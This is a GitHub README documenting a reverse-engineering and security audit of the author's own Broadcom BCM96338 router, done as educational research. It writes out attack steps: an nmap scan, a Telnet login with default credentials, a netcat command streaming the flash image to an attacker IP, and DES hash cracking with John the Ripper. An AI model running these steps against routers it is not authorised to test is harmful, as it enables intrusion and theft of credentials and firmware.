Skip to content

zuhtuEren/bcm96338-re

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🕵️‍♂️ Modem-Reverse-Engineering: Broadcom BCM96338 Analysis

Modem-Reverse-Engineering documents the end-to-end reverse engineering process of a Broadcom BCM96338 based embedded device (Pikatel / AirTies). The goal was to audit the device's security, understand its proprietary file system, and retrieve hidden credentials using both static and live analysis techniques.


🚀 Key Achievements

  • Network Reconnaissance: Service enumeration revealing exposed Telnet and FTP ports.
  • Firmware Exfiltration: Bypassed restricted environment using Netcat "Blind Stream" to dump flash memory over TCP.
  • Architecture Analysis: Handled Big Endian MIPS constraints and proprietary Broadcom headers.
  • Live Analysis: Navigated the Read-Only SquashFS to extract Base64 encoded configuration credentials.
  • Privilege Escalation: Cracked legacy DES (crypt3) system hashes using John the Ripper.

📂 System Architecture (Router)

The embedded device maintains a specific memory and filesystem structure for its operation:

/
├── dev/                   # Device nodes
│   └── mtdblock0          # Flash storage block containing the full firmware (mtd0)
├── etc/                   # System configuration
│   └── passwd             # DES encrypted user hashes
├── proc/                  # Kernel and process information
│   └── mtd                # Memory layout map
└── var/                   # Volatile data and temporary configuration

CPU Info Figure: Verifying the Kernel version and CPU architecture (MIPS Big Endian, BCM6338).


🛠️ Analysis Guide

📋 Prerequisites

Before you begin the analysis, ensure you have the following tools available:

  • nmap (Network scanning)
  • netcat (Data streaming)
  • John the Ripper (Hash cracking)
  • Unix utilities (dd, strings, binwalk)

1. Network Discovery & Access

Enumerate the device services and gain initial shell access:

nmap -p- -sV <router_ip>

Nmap Scan

Using default credentials (admin:password), gain shell access via Telnet:

telnet <router_ip>

System Info

2. Firmware Exfiltration (Netcat Stream)

Standard tools like wget were stripped down. Since I couldn't download files to the router, I streamed the data out using Netcat.

Wget Failure

On the attacker machine, start a listener:

./scripts/exfiltrate_firmware.sh 2323

On the compromised router, stream the mtd0 flash block:

cat /dev/mtdblock0 | nc <attacker_ip> 2323

Netcat Success

3. Firmware Processing

Strip the proprietary Broadcom header to prepare for analysis:

./scripts/strip_header.sh firmware_dump.bin firmware_squashfs.bin

⚙️ Exploitation & Findings

The analysis revealed several critical vulnerabilities and architectural constraints:

Static Analysis Constraints

Standard extraction tools on modern x86/x64 systems failed natively reading the file system due to the Big Endian MIPS architecture.

Extraction Failure

Credential Extraction (Live Analysis)

Pivoting to Live Analysis, sensitive credentials (ISP PPPoE password, Support credentials) were found in an XML file, encoded merely with Base64.

XML Findings

  • cGFzc3dvcmQ= -> password (Admin)
  • c3VwcG9ydA== -> support (Hidden Service Account)

Privilege Escalation

System user hashes from /etc/passwd were cracked in seconds using John the Ripper.

Hash Cracking

Persistence Constraints

Attempting to write a backdoor failed because the root file system is mounted as Read-Only (SquashFS).

Read Only Error


🛡️ Vulnerabilities Overview

Layer Finding Impact
Network Exposed Telnet Unencrypted remote management accessible by default.
Storage Base64 Credentials Passwords stored in easily reversible format.
Authentication DES (crypt3) Hashes Weak, easily crackable legacy hashing algorithm.
System Read-Only SquashFS Prevented simple persistence, requiring full reflash

🔗 Powered By (Tech Stack & Tools)

This analysis leveraged several tools. For advanced usage, refer to their official documentation:

Tool Role Documentation
Nmap Reconnaissance nmap.org
Netcat Data Exfiltration nc110
John the Ripper Hash Cracking openwall.com/john
Binwalk Static Analysis github.com/ReFirmLabs/binwalk

⚠️ Disclaimer

⚠️ Disclaimer: This project is strictly for educational purposes and was performed on hardware I own. Sensitive details (MAC addresses, Public IPs) have been sanitized. The author is not responsible for any misuse or legal consequences. Always comply with your local laws.


⚖️ License

Distributed under the MIT License. See LICENSE for more information.

About

Reverse engineering and full security audit of a legacy Broadcom BCM96338 router. Features firmware exfiltration, SquashFS analysis, and DES hash cracking.

Topics

Resources

License

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages